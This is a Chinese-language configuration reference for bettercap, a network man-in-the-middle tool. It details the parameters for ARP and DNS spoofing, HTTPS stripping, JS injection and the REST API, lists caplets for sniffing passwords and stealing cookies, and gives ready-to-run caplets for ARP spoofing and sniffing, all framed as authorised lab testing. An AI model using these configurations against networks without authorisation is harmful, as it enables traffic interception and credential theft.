bettercap 2.41.7 配置参数详解

目标：本文系统梳理 bettercap v2.41.7 的运行时配置体系——set/get 变量模型、环境持久化（env/history 文件）、会话参数总览与核心模块参数分类详解、caplets 脚本机制，全部参数与回显在 Ubuntu 22.04 服务器实测环境（v2.41.7）采集（2026-10-24）。安装过程见《bettercap 2.41.7 安装指南》。

一、环境信息

操作系统：Ubuntu 22.04 LTS（x86_64），root 权限
软件：bettercap v2.41.7（官方预编译二进制，built for linux amd64 with go1.24.13），安装于 /usr/local/bin/bettercap
测试网卡：eth0（10.89.67.2/24），网关 10.89.67.1
caplets 安装路径：/usr/local/share/bettercap/caplets/（caplets.update 实测安装）
会话产物路径：$HOME/.bettercap/
实测日期：2026-10-24

二、前置条件

已按《bettercap 2.41.7 安装指南》完成安装，bettercap -version 返回 bettercap v2.41.7 (built for linux amd64 with go1.24.13)。
以 root 启动交互会话：bettercap -iface eth0（嗅探/欺骗模块需要 root）。
caplets 库已安装：会话内执行 caplets.update（离线环境可手动下载 bettercap/caplets 仓库解压到 /usr/local/share/bettercap/caplets）。

三、参数查看与修改方式

3.1 set/get 变量模型

bettercap 没有传统配置文件，所有模块行为参数都是会话变量：set NAME VALUE 修改、get NAME 查询、get * 查询全部。会话内实测：

» set http.proxy.port 9090
» get http.proxy.port
http.proxy.port: '9090'
» set net.sniff.filter 'not arp'
» get net.sniff.filter
net.sniff.filter: 'not arp'

💡 技术拓展：bettercap 的配置模型与「配置文件 + 重启加载」式中间件不同，属于运行时变量体系——

模型代表特点
运行时变量 + env 持久化 bettercap set 即时生效，退出时落盘 $HOME/.bettercap/env，下次启动自动恢复
静态配置文件 nginx/redis.conf 改文件后需 reload/restart 才生效
命令行 flag bettercap 启动参数（-iface 等）仅进程启动时解析一次，运行期不可改

bettercap 同时具备三者：启动 flag 控制进程级行为，会话变量控制模块行为，caplet 把变量+命令序列固化复用。

模型	代表	特点
运行时变量 + env 持久化	bettercap	`set` 即时生效，退出时落盘 `$HOME/.bettercap/env`，下次启动自动恢复
静态配置文件	nginx/redis.conf	改文件后需 reload/restart 才生效
命令行 flag	bettercap 启动参数（`-iface` 等）	仅进程启动时解析一次，运行期不可改

变量支持通配查询：get net.* 列出 net 前缀全部变量；get * 输出全量参数（见 4.1）。

3.2 环境持久化：env 与 history 文件

bettercap 的变量修改与会话历史默认落盘到 $HOME/.bettercap/：

env 文件（$HOME/.bettercap/env）：会话退出时把被修改过的变量写入该文件，下次启动自动加载，实现配置持久化。启动参数 -env-file 可指定其他路径，设为空则禁用持久化（官方 -h 原文：Load environment variables from this file if found, set to empty to disable environment persistence.）。
history 文件（$HOME/.bettercap/history）：交互会话命令历史，实测退出后内容如下（照抄，可见 set 命令被完整记录）：

set dns.spoof.domains example.test
set dns.spoof.address 10.89.67.3
dns.spoof on
sleep 12
dns.spoof off

首次运行检查：会话启动前该目录不存在（实测回显 ls: cannot access '/root/.bettercap/': No such file or directory），首次会话退出后生成。
启动参数 -no-history 可禁用会话历史落盘（常用于避免把敏感变量写入磁盘）。

⚠️ 注意：set api.rest.password 等敏感值会随 env 持久化写入明文文件，共享环境下建议用 -env-file "" 禁用持久化，或确保 $HOME/.bettercap/ 权限为 0700。

3.3 命令行启动参数（进程级配置）

启动参数在进程启动时一次性生效，与运行时变量互补。实测 bettercap -h 关键项：

参数	说明	默认值
`-iface`	绑定的网络接口，留空自动选择	自动
`-autostart`	启动后自动开启的模块	`events.stream`
`-caplet`	启动时读取并执行指定 caplet	空
`-caplets-path`	caplets 自定义基路径	`/usr/local/share/bettercap`
`-env-file`	env 持久化文件路径，置空禁用	`$HOME/.bettercap/env`
`-eval`	分号分隔的启动命令串	空
`-gateway-override`	覆盖默认网关 IP	自动探测
`-no-colors` / `-no-history` / `-silent` / `-debug`	输出与日志开关	—

典型组合：bettercap -iface eth0 -caplet /root/my.cap（加载脚本）或 bettercap -eval "set api.rest.username admin; set api.rest.password q1w2e3r4; api.rest on; ui on"（Web UI 模式，见《bettercap 2.41.7 安装指南》 8.2 节）。

四、参数总览

4.1 全量参数实测

会话内 get * 输出按模块分组的全量参数（v2.41.7 实测，节选关键段；完整输出约 200+ 变量）：

                             any.proxy.dst_address: '<interface address>'
                                any.proxy.dst_port: '8080'
                                   any.proxy.iface: '<interface name>'
                                any.proxy.protocol: 'TCP'
                             any.proxy.src_port: '80'

                              api.rest.address: '127.0.0.1'
                              api.rest.password: 'pass'
                                     api.rest.port: '8081'
                             api.rest.username: 'user'

                              arp.spoof.fullduplex: 'false'
                                arp.spoof.internal: 'false'
                            arp.spoof.skip_restore: 'false'
                                 arp.spoof.targets: '<entire subnet>'
                               arp.spoof.whitelist: ''

                                          dns.port: '53'
                                 dns.spoof.address: '<interface address>'
                                     dns.spoof.domains: ''
                                   dns.spoof.ttl: '1024'

                                   gateway.address: '10.89.67.1'
                                       gateway.mac: '2a:46:af:2f:97:d3'

                                        http.port: '80'
                               http.proxy.blacklist: ''
                               http.proxy.injectjs: ''
                                   http.proxy.port: '8080'
                               http.proxy.sslstrip: 'false'
                                  http.server.path: '.'
                                  http.server.port: '80'

                                   iface.index: '2'
                                        iface.ipv4: '10.89.67.2'
                                         iface.mac: 'b6:c3:38:2e:64:0a'
                                        iface.name: 'eth0'

                                    net.probe.throttle: '10'
                                   net.show.filter: ''
                                    net.show.sort: 'ip asc'
                                  net.sniff.filter: 'not arp'
                                  net.sniff.output: ''
                                  net.sniff.regexp: ''

                                       ui.address: '127.0.0.1'
                                           ui.port: '8080'

💡 说明：值形如 '<interface address>' 的变量是占位符，运行时自动展开为当前接口 IP；iface.*、gateway.* 为只读的系统探测变量，供其他参数引用（如 arp.spoof.targets 默认 <entire subnet> 即整个 iface.ipv4 所在网段）。

4.2 参数命名规律

前缀即模块名：arp.spoof.* 归 arp.spoof 模块、http.proxy.* 归 http.proxy 模块，help <模块名> 可查该模块全部参数与子命令。
每模块参数带默认值与说明（help net.sniff 实测节选）：

  Parameters

      net.fuzz.layers : Types of layer to fuzz. (default=Payload)
      net.sniff.filter : BPF filter for the sniffer. (default=not arp)
      net.sniff.local : If true it will consider packets from/to this computer, otherwise it will skip them. (default=false)
     net.sniff.output : If set, the sniffer will write captured packets to this file. (default=)
     net.sniff.regexp : If set, only packets matching this regular expression will be considered. (default=)
    net.sniff.verbose : If true, every captured and parsed packet will be sent to the events.stream for displaying, otherwise only the ones parsed at the application layer (sni, http, etc). (default=false)

五、核心参数分类详解

5.1 会话与全局参数

参数	默认值	说明
`iface.ipv4` / `iface.mac` / `iface.name`	自动探测	只读，当前接口信息
`gateway.address` / `gateway.mac`	自动探测	只读，默认网关（实测 10.89.67.1 / 2a:46:af:2f:97:d3）
`log.debug` / `log.silent`	false / false	调试日志开关 / 仅输出错误
`events.stream.output`	''（空）	事件流落盘文件，配合 `events.stream.output.rotate.*` 做轮转（默认按 10 单位轮转压缩）

5.2 主机发现与嗅探参数（net.probe / net.show / net.sniff）

参数	默认值	说明
`net.probe.throttle`	10	主动探测发包节流
`net.probe.mdns` / `nbns` / `upnp` / `wsd`	true	四类服务发现协议开关
`net.show.filter` / `net.show.limit` / `net.show.sort`	'' / 0 / 'ip asc'	`net.show` 主机表的过滤/条数/排序
`net.sniff.filter`	'not arp'	嗅探 BPF 过滤器
`net.sniff.output`	''	抓包落盘 pcap 路径（可喂 Wireshark）
`net.sniff.regexp`	''	只保留匹配正则的包
`net.sniff.local`	false	是否包含本机自身流量
`net.sniff.verbose`	false	true 时所有包入事件流，false 只报应用层解析结果

实测提示：net.sniff.local 默认 false，嗅探器会跳过本机自身收发的包——做 HTTP 代理调试时若发现「抓不到自己浏览器的流量」，把它设为 true。

5.3 ARP 欺骗参数（arp.spoof）

参数	默认值	说明
`arp.spoof.targets`	`<entire subnet>`	欺骗目标（IP/逗号列表），全子网目标在大型网段会逐 IP 发包，务必收窄
`arp.spoof.fullduplex`	false	双向欺骗（同时欺骗目标与网关的对方），流量全劫持需开启
`arp.spoof.internal`	false	欺骗子网内部互访流量（仅 targets 之间）
`arp.spoof.whitelist`	''	白名单，命中则不欺骗
`arp.spoof.skip_restore`	false	停止时跳过恢复目标 ARP 缓存（默认 false=停止时自动恢复）

5.4 DNS 欺骗与代理参数（dns.spoof / dns.proxy）

参数	默认值	说明
`dns.spoof.domains`	''	要劫持解析的域名（逗号分隔），空则劫持全部
`dns.spoof.address`	`<interface address>`	劫持后的 A 记录指向
`dns.spoof.all` / `dns.spoof.ttl`	false / 1024	是否劫持全部域名 / 应答 TTL
`dns.proxy.address` / `dns.proxy.port`	`<interface address>` / 8053	DNS 透明代理监听
`dns.proxy.nameserver`	1.1.1.1	上游 DNS
`dns.proxy.redirect`	true	是否将劫持请求重定向到代理端口

5.5 HTTP(S) 代理与服务器参数（http.proxy / https.proxy / http.server）

参数	默认值	说明
`http.proxy.port`	8080	HTTP 透明代理端口（iptables 重定向目标）
`http.proxy.sslstrip`	false	HTTPS 降级剥离
`http.proxy.injectjs`	''	向页面注入的 JS URL
`http.proxy.blacklist` / `whitelist`	'' / ''	按域名/URL 的排除与命中列表
`http.proxy.script` / `https.proxy.script`	''	自定义 JS 代理脚本（改写请求/响应）
`https.proxy.certificate` / `.key`	`~/.bettercap-ca.cert.pem` / `.key.pem`	自签 CA 证书（首启自动生成 4096 位）
`http.server.path` / `http.server.port`	'.' / 80	内置 HTTP 服务器根目录与端口

5.6 API 与 Web UI 参数（api.rest / ui）

参数	默认值	说明
`api.rest.username` / `api.rest.password`	user / pass	REST API 与 Web UI 登录凭据（首改项）
`api.rest.address` / `api.rest.port`	127.0.0.1 / 8081	API 监听（默认仅本机）
`api.rest.certificate.bits`	4096	自签证书位数
`ui.address` / `ui.port`	127.0.0.1 / 8080	Web UI 监听

⚠️ 注意：默认凭据 user/pass 是公开知识，任何暴露端口前必须 set api.rest.username/admin + 强密码；api.rest.alloworigin 默认 *，跨域敏感场景应收紧。

5.7 无线与物联网参数（速览）

wifi.*（信道跳频 wifi.hop.period 250ms、握手包落盘 wifi.handshakes.file、伪 AP wifi.ap.ssid 默认 FreeWiFi）、ble.*（ble.ttl 30s 设备老化）、hid.*（默认针对 Logitech Unifying）、can.*（can.device 默认 can0）、gps.*（gps.device 默认 /dev/ttyUSB0）、mysql.server.*（伪造 MySQL，mysql.server.infile 默认 /etc/passwd 用于 LOAD DATA LOCAL 读取）、zerogod.*（ZeroConf/IPP 服务伪造，文档落盘 zerogod.ipp.save_path）。这些域依赖专用硬件（无线网卡/BLE 适配器/CAN 接口），服务器无硬件时模块可加载但无数据。

六、caplets 机制

6.1 caplet 是什么

caplet 是纯文本命令脚本（.cap），内容就是一串会话命令（set + 模块开关），用 include <caplet名> 在会话内执行，或用启动参数 -caplet <文件> 加载。官方库由 caplets 模块维护，caplets.update 从 bettercap/caplets 仓库下载到 /usr/local/share/bettercap/caplets（实测回显见《bettercap 2.41.7 安装指南》 4.5 节）。

注意：caplets 是模块名而非独立命令，直接敲 caplets 会报错（实测）：

[19:16:09] [sys.log] [err] unknown or invalid syntax "caplets", type help for the help menu

6.2 官方 caplets 清单（实测）

caplets.update 后 /usr/local/share/bettercap/caplets/ 目录清单（照抄）：

LICENSE.md   Makefile   README.md   ap.cap   crypto-miner   download-autopwn
enumerate   fb-phish   gitspoof   gps.cap   hstshijack   http-req-dump
http-ui.cap   https-ui.cap   jsinject   local-sniffer.cap   login-manager-abuse
mana.cap   massdeauth.cap   mitm6.cap   netmon.cap   pita.cap   proxy-script-test
pwnagotchi-auto.cap   pwnagotchi-manual.cap   rogue-mysql-server.cap   rtfm
simple-passwords-sniffer.cap   sshproxy.cap   steal-cookies   tcp-req-dump
web-override   www

常用入口：

caplet	用途
`netmon.cap`	周期性刷新 net.show 的网络监视器
`http-req-dump` / `tcp-req-dump`	打印 HTTP / TCP 请求明细
`simple-passwords-sniffer.cap`	嗅探明文凭据
`steal-cookies`	劫持会话 Cookie 重放
`hstshijack`	HSTS 压制与 HTTPS 降级
`mitm6.cap`	DHCPv6/NDP 中间人
`web-override`	页面内容替换（钓鱼演示）
`jsinject`	页面 JS 注入
`www`	快速起 http.server 托管目录

6.3 自定义 caplet 示例

把一套参数+命令固化为 /root/my-mitm.cap：

# 内网授权测试：ARP 欺骗 + 嗅探
set arp.spoof.targets 10.89.67.3
set arp.spoof.fullduplex true
set net.sniff.filter 'not arp'
set net.sniff.output /root/bettercap-logs/mitm.pcap
arp.spoof on
net.sniff on

加载与验证：

bettercap -iface eth0 -caplet /root/my-mitm.cap

会话内亦可 include my-mitm（按 caplets 基路径解析）。

七、生产配置模板

适用场景：4GB 内存 / 任意磁盘 / 隔离实验内网（/24）的授权 MITM 测试机，以 Web UI 常驻 + ARP 欺骗嗅探为例。bettercap 为单进程轻量负载，4GB 内存足够，无需调优内核参数之外的项目。

/root/prod-lab.cap：

# ===== 会话基础 =====
set log.silent false
set events.stream.output /root/bettercap-logs/events.log

# ===== API 与 UI（改默认凭据） =====
set api.rest.username admin
set api.rest.password q1w2e3r4
api.rest on
ui on

# ===== 主机发现（探测完即关，降低噪音） =====
net.probe on
sleep 30
net.probe off

# ===== 中间人（收窄目标） =====
set arp.spoof.targets 10.89.67.3
set arp.spoof.fullduplex true
set net.sniff.filter 'not arp'
set net.sniff.output /root/bettercap-logs/mitm.pcap
arp.spoof on
net.sniff on

配套启动：sysctl -w net.ipv4.ip_forward=1 && bettercap -iface eth0 -caplet /root/prod-lab.cap。

要点：① 目标务必从 <entire subnet> 收窄到授权 IP 列表；② 事件流与 pcap 落盘便于事后取证；③ 凭据不得沿用默认值。

八、常见问题

Q1：set 过的变量重启后丢了？

env 持久化只在交互会话正常退出时落盘；非交互（-eval/脚本）或异常终止不写。需要固化配置改用 caplet；确认 $HOME/.bettercap/env 存在且未被 -env-file "" 禁用。

Q2：get * 输出里 <interface address> 是字面量吗？

不是，是运行时占位符，展开为当前 -iface 接口 IP（实测展开为 10.89.67.2）。

Q3：改了 http.proxy.port 后代理不生效？

http.proxy 依赖 iptables 把目标端口流量重定向到代理端口，确认透明重定向规则已建（http.proxy on 时自动添加），且客户端流量确实经过本机（配合 arp.spoof 或网关路由）。

Q4：include 报找不到 caplet？

include 按 /usr/local/share/bettercap/caplets/ 基路径解析（可用 -caplets-path 覆盖）；自建脚本用绝对路径：include /root/my-mitm.cap 或启动参数 -caplet /root/my-mitm.cap。

九、参考链接

官方文档（modules/caplets）：https://www.bettercap.org/ （2026-10-24 查询）
官方 caplets 仓库：https://github.com/bettercap/caplets
源码会话实现：https://github.com/bettercap/bettercap/tree/master/session
站内相关：《bettercap 介绍与选型指南》、《bettercap 2.41.7 安装指南》